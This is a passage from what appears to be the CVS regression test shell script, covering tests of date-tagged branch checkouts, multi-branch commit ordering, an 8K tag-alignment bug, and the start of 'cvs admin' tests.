#\t\tshould specify the same file revision).\n\t #\t3) export uses '-r -D', hopefully completing this behavior test\n\t #\t\tfor checkout and update as well.\n\t #\n\t mkdir 1; cd 1\n\t save_TZ=$TZ\n\t TZ=UTC; export TZ\n\t dotest tagdate-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest tagdate-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t echo trunk-1 >file1\n\t dotest tagdate-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest tagdate-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t date_T1=`getrlogdate -r1.1 first-dir/file1`\n\n\t dotest tagdate-5 \"${testcvs} -q tag -b br1\" \"T file1\"\n\t dotest tagdate-6 \"${testcvs} -q tag -b br2\" \"T file1\"\n\t echo trunk-2 >file1\n\t dotest tagdate-7 \"${testcvs} -q ci -m modify-on-trunk\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t date_T2=`getrlogdate -r1.2 first-dir/file1`\n\n\t # We are testing -r -D where br1 is a (magic) branch without\n\t # any revisions. First the case where br2 doesn't have any\n\t # revisions either:\n\t dotest tagdate-8 \"${testcvs} -q update -p -r br1 -D now\" \"trunk-1\"\n\t dotest tagdate-9 \"${testcvs} -q update -r br2\" \"[UP] file1\"\n\t echo br2-1 >file1\n\t dotest tagdate-10 \"${testcvs} -q ci -m modify-on-br2\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.4\\.1; previous revision: 1\\.1\ndone\"\n\t date_T3=`getrlogdate -r1.1.4.1 first-dir/file1`\n\n\t # Then the case where br2 does have revisions:\n\t dotest tagdate-11 \"${testcvs} -q update -p -r br1 -D now\" \"trunk-1\"\n\n\t # For some reason, doing this on a branch seems to be relevant.\n\t dotest_fail tagdate-12 \"${testcvs} -q update -j:yesterday\" \\\n\"${PROG} \\[update aborted\\]: argument to join may not contain a date specifier without a tag\"\n\t # And check export\n\n\t echo br2-2 >file1\n\t dotest tagdate-13 \"${testcvs} -q ci -m modify-2-on-br2\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.4\\.2; previous revision: 1\\.1\\.4\\.1\ndone\"\n\t date_T4=`getrlogdate -r1.1.4.2 first-dir/file1`\n\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest tagdate-14 \"${testcvs} -q export -r br2 -D'$date_T3' first-dir\" \\\n\"[UP] first-dir/file1\"\n\t dotest tagdate-15 \"cat first-dir/file1\" \"br2-1\"\n\n\t # Now for annotate\n\t cd ../1/first-dir\n\t dotest tagdate-16 \"${testcvs} annotate -rbr2 -D'$date_T3'\" \\\n\"\nAnnotations for file1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n1\\.1\\.4\\.1 ($username8 *[0-9a-zA-Z-]*): br2-1\"\n\n\t dotest tagdate-17 \"${testcvs} annotate -rbr2 -Dnow\" \\\n\"\nAnnotations for file1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n1\\.1\\.4\\.2 ($username8 *[0-9a-zA-Z-]*): br2-2\"\n\n\t # Now check to see what happens when we add files to br2 and trunk\n\t echo br2-1 > file3\n\t dotest tagdate-18 \"${testcvs} add file3\" \\\n\"${PROG} add: scheduling file \\`file3' for addition on branch \\`br2'\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest tagdate-19 \"${testcvs} -q ci -m add file3\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/Attic/file3,v <-- file3\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t date_T5=`getrlogdate -r1.1 first-dir/file3`\n\t date_T6=`getrlogdate -r1.1.2.1 first-dir/file3`\n\n\t cd ../..\n\t mkdir 3; cd 3\n\t dotest tagdate-20 \"${testcvs} -Q co first-dir\" ''\n\t cd first-dir\n\t echo trunk-1 > file2\n\t dotest tagdate-21 \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest tagdate-22 \"${testcvs} -q ci -m add file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t date_T7=`getrlogdate -r1.1 first-dir/file2`\n\t echo \"trunk-2\" >file2\n\t dotest tagdate-23 \"${testcvs} -q ci -m update file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t date_T8=`getrlogdate -r1.2 first-dir/file2`\n\n\t cd ../../1/first-dir\n\t echo br2-1 > file2\n\t dotest tagdate-24 \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file \\`file2' for addition on branch \\`br2'\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest tagdate-25 \"${testcvs} -q ci -m add file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.2\\.2\\.2; previous revision: 1\\.2\\.2\\.1\ndone\"\n\t date_T9=`getrlogdate -r1.2.2.2 first-dir/file2`\n\t cd ../..\n\n\t # Time Rev Branch Comments\n\t # T0 trunk first-dir created\n\t # T1 1.1 trunk first-dir/file1 committed \"trunk-1\"\n\t # br1 branch created\n\t # br2 branch created\n\t # T2 1.2 trunk first-dir/file1 committed \"trunk-2\"\n\t # T3 1.1.4.1 br2 first-dir/file1 committed \"br2-1\"\n\t # +60s\n\t # T4 1.1.4.2 br2 first-dir/file1 committed \"br2-2\"\n\t # T5 1.1 trunk first-dir/file3 dead\n\t # T6 1.1.2.1 br2 first-dir/file3 committed \"br2-1\"\n\t # T7 1.1 trunk first-dir/file2 committed \"trunk-1\"\n\t # T8 1.2 trunk first-dir/file2 committed \"trunk-2\"\n\t # T8 1.2.2.1 br2 first-dir/file2 dead\n\t # T9 1.2.2.2 br2 first-dir/file2 committed \"br2-1\"\n\t # \n\n\t mkdir 4; cd 4\n\t (echo Dates for tagdate-26-* are:;\\\n\t echo \" date_T1='$date_T1'\";\\\n\t echo \" date_T2='$date_T2'\";\\\n\t echo \" date_T3='$date_T3'\";\\\n\t echo \" date_T4='$date_T4'\";\\\n\t echo \" date_T5='$date_T5'\";\\\n\t echo \" date_T6='$date_T6'\";\\\n\t echo \" date_T7='$date_T7'\";\\\n\t echo \" date_T8='$date_T8'\";\\\n\t echo \" date_T9='$date_T9'\") >>$LOGFILE\n\t dotest tagdate-26-trunk-t1 \\\n\"${testcvs} co -D'$date_T1' -d first-dir-trunk-t1 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-trunk-t1\nU first-dir-trunk-t1/file1\"\n\t dotest tagdate-26-br2-t1 \\\n\"${testcvs} co -r br2 -D'$date_T1' -d first-dir-br2-t1 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-br2-t1\nU first-dir-br2-t1/file1\"\n\t dotest tagdate-26-trunk-t2 \\\n\"${testcvs} co -D'$date_T2' -d first-dir-trunk-t2 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-trunk-t2\nU first-dir-trunk-t2/file1\"\n\t dotest tagdate-26-br2-t2 \\\n\"${testcvs} co -r br2 -D'$date_T2' -d first-dir-br2-t2 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-br2-t2\nU first-dir-br2-t2/file1\"\n\t dotest tagdate-26-br2-t3 \\\n\"${testcvs} co -r br2 -D'$date_T3' -d first-dir-br2-t3 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-br2-t3\nU first-dir-br2-t3/file1\"\n\t dotest tagdate-26-br2-t4 \\\n\"${testcvs} co -r br2 -D'$date_T4' -d first-dir-br2-t4 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-br2-t4\nU first-dir-br2-t4/file1\"\n\t dotest tagdate-26-br2-t6 \\\n\"${testcvs} co -r br2 -D'$date_T6' -d first-dir-br2-t6 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-br2-t6\nU first-dir-br2-t6/file1\nU first-dir-br2-t6/file3\"\n\t dotest tagdate-26-trunk-t7 \\\n\"${testcvs} co -D'$date_T7' -d first-dir-trunk-t7 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-trunk-t7\nU first-dir-trunk-t7/file1\nU first-dir-trunk-t7/file2\"\n\t dotest tagdate-26-br2-t7 \\\n\"${testcvs} co -r br2 -D'$date_T7' -d first-dir-br2-t7 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-br2-t7\nU first-dir-br2-t7/file1\nU first-dir-br2-t7/file3\"\n\t dotest tagdate-26-trunk-t8 \\\n\"${testcvs} co -D'$date_T8' -d first-dir-trunk-t8 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-trunk-t8\nU first-dir-trunk-t8/file1\nU first-dir-trunk-t8/file2\"\n\t dotest tagdate-26-br2-t8 \\\n\"${testcvs} co -r br2 -D'$date_T8' -d first-dir-br2-t8 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-br2-t8\nU first-dir-br2-t8/file1\nU first-dir-br2-t8/file3\"\n\t dotest tagdate-26-br2-t9 \\\n\"${testcvs} co -r br2 -D'$date_T9' -d first-dir-br2-t9 first-dir\" \\\n\"${PROG} checkout: Updating first-dir-br2-t9\nU first-dir-br2-t9/file1\nU first-dir-br2-t9/file2\nU first-dir-br2-t9/file3\"\n\t dotest tagdate-27-trunk-t1 \\\n\"${testcvs} status first-dir-trunk-t1\" \\\n\"${PROG} status: Examining first-dir-trunk-t1\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1[^.]*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t[0-9.]*\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-br2-t1 \\\n\"${testcvs} status first-dir-br2-t1\" \\\n\"${PROG} status: Examining first-dir-br2-t1\n===================================================================\nFile: file1 \tStatus: Needs Patch\n\n Working revision:\t1\\.1[^.]*\n Repository revision:\t1\\.1\\.4\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-trunk-t2 \\\n\"${testcvs} status first-dir-trunk-t2\" \\\n\"${PROG} status: Examining first-dir-trunk-t2\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.2[^.]*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t[0-9.]*\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-br2-t2 \\\n\"${testcvs} status first-dir-br2-t2\" \\\n\"${PROG} status: Examining first-dir-br2-t2\n===================================================================\nFile: file1 \tStatus: Needs Patch\n\n Working revision:\t1\\.1[^.]*\n Repository revision:\t1\\.1\\.4\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-br2-t3 \\\n\"${testcvs} status first-dir-br2-t3\" \\\n\"${PROG} status: Examining first-dir-br2-t3\n===================================================================\nFile: file1 \tStatus: Needs Patch\n\n Working revision:\t1\\.1\\.4\\.1[^.]*\n Repository revision:\t1\\.1\\.4\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-br2-t4 \\\n\"${testcvs} status first-dir-br2-t4\" \\\n\"${PROG} status: Examining first-dir-br2-t4\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.4\\.2[^.]*\n Repository revision:\t1\\.1\\.4\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-br2-t6 \\\n\"${testcvs} status first-dir-br2-t6\" \\\n\"${PROG} status: Examining first-dir-br2-t6\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.4\\.2[^.]*\n Repository revision:\t1\\.1\\.4\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.2\\.1[^.]*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-trunk-t7 \\\n\"${testcvs} status first-dir-trunk-t7\" \\\n\"${PROG} status: Examining first-dir-trunk-t7\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.2[^.]*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t[0-9.]*\n Sticky Options:\t(none)\n\n===================================================================\nFile: file2 \tStatus: Up-to-date\n\n Working revision:\t1\\.1[^.]*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t[0-9.]*\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-br2-t7 \\\n\"${testcvs} status first-dir-br2-t7\" \\\n\"${PROG} status: Examining first-dir-br2-t7\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.4\\.2[^.]*\n Repository revision:\t1\\.1\\.4\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.2\\.1[^.]*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-trunk-t8 \\\n\"${testcvs} status first-dir-trunk-t8\" \\\n\"${PROG} status: Examining first-dir-trunk-t8\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.2[^.]*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t[0-9.]*\n Sticky Options:\t(none)\n\n===================================================================\nFile: file2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2[^.]*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/file2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t[0-9.]*\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-br2-t8 \\\n\"${testcvs} status first-dir-br2-t8\" \\\n\"${PROG} status: Examining first-dir-br2-t8\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.4\\.2[^.]*\n Repository revision:\t1\\.1\\.4\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.2\\.1[^.]*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest tagdate-27-br2-t9 \\\n\"${testcvs} status first-dir-br2-t9\" \\\n\"${PROG} status: Examining first-dir-br2-t9\n===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.4\\.2[^.]*\n Repository revision:\t1\\.1\\.4\\.2\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2\\.2\\.2[^.]*\n Repository revision:\t1\\.2\\.2\\.2\t${CVSROOT_DIRNAME}/first-dir/file2,v\n Sticky Tag:\t\tbr2 (branch: 1\\.2\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.2\\.1[^.]*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\n Sticky Tag:\t\tbr2 (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t # Now check the contents of the files\n\t dotest tagdate-28-trunk-t1 'cat first-dir-trunk-t1/file1' 'trunk-1'\n\t dotest tagdate-28-br2-t1 'cat first-dir-br2-t1/file1' 'trunk-1'\n\t dotest tagdate-28-trunk-t2 'cat first-dir-trunk-t2/file1' 'trunk-2'\n\t dotest tagdate-28-br2-t2 'cat first-dir-br2-t2/file1' 'trunk-1'\n\t dotest tagdate-28-br2-t3 'cat first-dir-br2-t3/file1' 'br2-1'\n\t dotest tagdate-28-br2-t4 'cat first-dir-br2-t4/file1' 'br2-2'\n\t dotest tagdate-28-br2-t6a 'cat first-dir-br2-t6/file1' \"br2-2\"\n\t dotest tagdate-28-br2-t6b 'cat first-dir-br2-t6/file3' \"br2-1\"\n\t dotest tagdate-28-trunk-t7a 'cat first-dir-trunk-t7/file1' \"trunk-2\"\n\t dotest tagdate-28-trunk-t7b 'cat first-dir-trunk-t7/file2' \"trunk-1\"\n\t dotest tagdate-28-br2-t7a 'cat first-dir-br2-t7/file1' \"br2-2\"\n\t dotest tagdate-28-br2-t7b 'cat first-dir-br2-t7/file3' \"br2-1\"\n\t dotest tagdate-28-trunk-t8a 'cat first-dir-trunk-t8/file1' \"trunk-2\"\n\t dotest tagdate-28-trunk-t8b 'cat first-dir-trunk-t8/file2' \"trunk-2\"\n\t dotest tagdate-28-br2-t8a 'cat first-dir-br2-t8/file1' \"br2-2\"\n\t dotest tagdate-28-br2-t8c 'cat first-dir-br2-t8/file3' \"br2-1\"\n\t dotest tagdate-28-br2-t9a 'cat first-dir-br2-t9/file1' \"br2-2\"\n\t dotest tagdate-28-br2-t9b 'cat first-dir-br2-t9/file2' \"br2-1\"\n\t dotest tagdate-28-br2-t9c 'cat first-dir-br2-t9/file3' \"br2-1\"\n\t cd ..\n\n\t unset date_T1 date_T2 date_T3 date_T4 date_T5\n\t unset date_T6 date_T7 date_T8 date_T9\n\t TZ=$save_TZ\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -r 1 2 3 4\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tmultibranch2)\n\t # Commit the first delta on branch A when there is an older\n\t # branch, B, that already has a delta. A and B come from the\n\t # same branch point. Then verify that branches A and B are\n\t # in the right order.\n\t mkdir 1; cd 1\n\t dotest multibranch2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest multibranch2-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t echo trunk-1 >file1\n\t echo trunk-1 >file2\n\t dotest multibranch2-3 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest multibranch2-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t dotest multibranch2-5 \"${testcvs} -q tag -b A\" \"T file1\nT file2\"\n\t dotest multibranch2-6 \"${testcvs} -q tag -b B\" \"T file1\nT file2\"\n\n\t dotest multibranch2-7 \"$testcvs -q update -r B\" \\\n'[UP] file1\n[UP] file2'\n\t echo branch-B >file1\n\t echo branch-B >file2\n\t dotest multibranch2-8 \"${testcvs} -q ci -m modify-on-B\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.4\\.1; previous revision: 1\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.4\\.1; previous revision: 1\\.1\ndone\"\n\n\t dotest multibranch2-9 \"${testcvs} -q update -r A\" '[UP] file1\n[UP] file2'\n\t echo branch-A >file1\n\t # When using cvs-1.9.20, this commit gets a failed assertion in rcs.c.\n\t dotest multibranch2-10 \"${testcvs} -q ci -m modify-on-A\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t dotest multibranch2-11 \"${testcvs} -q log file1\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tB: 1\\.1\\.0\\.4\n\tA: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nbranches: 1\\.1\\.2; 1\\.1\\.4;\nadd\n----------------------------\nrevision 1\\.1\\.4\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp; lines: ${PLUS}1 -1\nmodify-on-B\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp; lines: ${PLUS}1 -1\nmodify-on-A\n=============================================================================\"\n\n\t # This one is more concise.\n\t dotest multibranch2-12 \"${testcvs} -q log -r1.1 file1\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tB: 1\\.1\\.0\\.4\n\tA: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nbranches: 1\\.1\\.2; 1\\.1\\.4;\nadd\n=============================================================================\"\n\n\t # OK, try very much the same thing except we run update -j to\n\t # bring the changes from B to A. Probably tests many of the\n\t # same code paths but might as well keep it separate, I guess.\n\n\t dotest multibranch2-13 \"${testcvs} -q update -r B\" \"[UP] file1\n[UP] file2\"\n\t dotest multibranch2-14 \"${testcvs} -q update -r A -j B file2\" \\\n\"[UP] file2\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nretrieving revision 1.1\nretrieving revision 1.1.4.1\nMerging differences between 1.1 and 1.1.4.1 into file2\"\n\t dotest multibranch2-15 \"${testcvs} -q ci -m commit-on-A file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\ttag8k)\n\t # In cvs-1.9.27, there is a bug that can cause an abort.\n\t # It happens when you commit a change to a ,v file that has\n\t # just the right amount of tag/branch info to align one of the\n\t # semicolons in the branch info to be on a 8k-byte boundary.\n\t # The result: rcsbuf_getkey got an abort. This failure doesn't\n\t # corrupt the ,v file -- that would be really serious. But it\n\t # does leave stale write locks that have to be removed manually.\n\n\t mkdir 1\n\t cd 1\n\n\t module=x\n\n\t : > junk\n\t dotest tag8k-1 \"$testcvs -Q import -m . $module X Y\" ''\n\t dotest tag8k-2 \"$testcvs -Q co $module\" ''\n\t cd $module\n\n\t file=m\n\t : > $file\n\t dotest tag8k-3 \"$testcvs add $file\" \\\n\"${PROG} add: scheduling file .$file. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest tag8k-4 \"$testcvs -Q ci -m . $file\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/$module/$file,v\ndone\nChecking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\ninitial revision: 1\\.1\ndone\"\n\n\t # It seems there have to be at least two versions.\n\t echo a > $file\n\t dotest tag8k-5 \"$testcvs -Q ci -m . $file\" \\\n\"Checking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # Add just under 8K worth of tags.\n\t t=TAG---------------------------------------------------------------------\n\t t=$t$t\n\t t=$t$t$t$t$t\n\t # Now $t is 720 bytes long.\n\n\t # Apply some tags with that long prefix.\n\t dotest tag8k-6 \"$testcvs -Q tag $t-0 $file\" ''\n\t dotest tag8k-7 \"$testcvs -Q tag $t-1 $file\" ''\n\t dotest tag8k-8 \"$testcvs -Q tag $t-2 $file\" ''\n\t dotest tag8k-9 \"$testcvs -Q tag $t-3 $file\" ''\n\t dotest tag8k-10 \"$testcvs -Q tag $t-4 $file\" ''\n\t dotest tag8k-11 \"$testcvs -Q tag $t-5 $file\" ''\n\t dotest tag8k-12 \"$testcvs -Q tag $t-6 $file\" ''\n\t dotest tag8k-13 \"$testcvs -Q tag $t-7 $file\" ''\n\t dotest tag8k-14 \"$testcvs -Q tag $t-8 $file\" ''\n\t dotest tag8k-15 \"$testcvs -Q tag $t-9 $file\" ''\n\t dotest tag8k-16 \"$testcvs -Q tag $t-a $file\" ''\n\n\t # Extract the author value.\n\t name=`sed -n 's/.*;\tauthor \\([^;]*\\);.*/\\1/p' ${CVSROOT_DIRNAME}/$module/$file,v|sed 1q`\n\n\t # Form a suffix string of length (16 - length($name)).\n\t # CAREFUL: this will lose if $name is longer than 16.\n\t sed_pattern=`echo $name|sed s/././g`\n\t suffix=`echo 1234567890123456|sed s/$sed_pattern//`\n\n\t # Add a final tag with length chosen so that it will push the\n\t # offset of the `;' in the 2nd occurrence of `;\\tauthor' in the\n\t # ,v file to exactly 8192.\n\t dotest tag8k-17 \"$testcvs -Q tag \"x8bytes-$suffix\" $file\" ''\n\n\t # This commit would fail with 1.9.27.\n\t echo a >> $file\n\t dotest tag8k-18 \"$testcvs -Q ci -m . $file\" \\\n\"Checking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n\n\tadmin)\n\t # More \"cvs admin\" tests.\n\t # The basicb-21 test tests rejecting an illegal option.\n\t # For -l and -u, see \"reserved\" and \"keyword\" tests.\n\t # \"binfiles\" test has a test of \"cvs admin -k\".\n\t # \"log2\" test has tests of -t and -q options to cvs admin.\n\t # \"rcs\" tests -b option also.\n\t # For -o, see:\n\t # admin-22-o1 through admin-23 (various cases not involving ::)\n\t # binfiles2-o* (:rev, rev on trunk; rev:, deleting entire branch)\n\t # basicb-o* (attempt to delete all revisions)\n\t # basica-o1 through basica-o3 (basic :: usage)\n\t # head-o1 (::branch, where this deletes a revision or is noop)\n\t # branches-o1 (::branch, similar, with different branch topology)\n\t # log-o1 (1.3.2.1::)\n\t # binfiles-o1 (1.3:: and ::1.3; binary files)\n\t # binfiles3-9 (binary files)\n\t # Also could be testing:\n\t # 1.3.2.6::1.3.2.8\n\t # 1.3.2.6::1.3.2\n\t # 1.3.2.1::1.3.2.6\n\t # 1.3::1.3.2.6 (error? or synonym for ::1.3.2.6?)\n\t # -n: admin, tagf tests.\n\n\t mkdir 1; cd 1\n\t dotest admin-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest admin-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\n\t dotest_fail admin-3 \"${testcvs} -q admin -i file1\" \\\n\"${PROG} admin: the -i option to admin is not supported\n${PROG} admin: run add or import to create an RCS file\n${PROG} \\[admin aborted\\]: specify ${PROG} -H admin for usage information\"\n\t dotest_fail admin-4 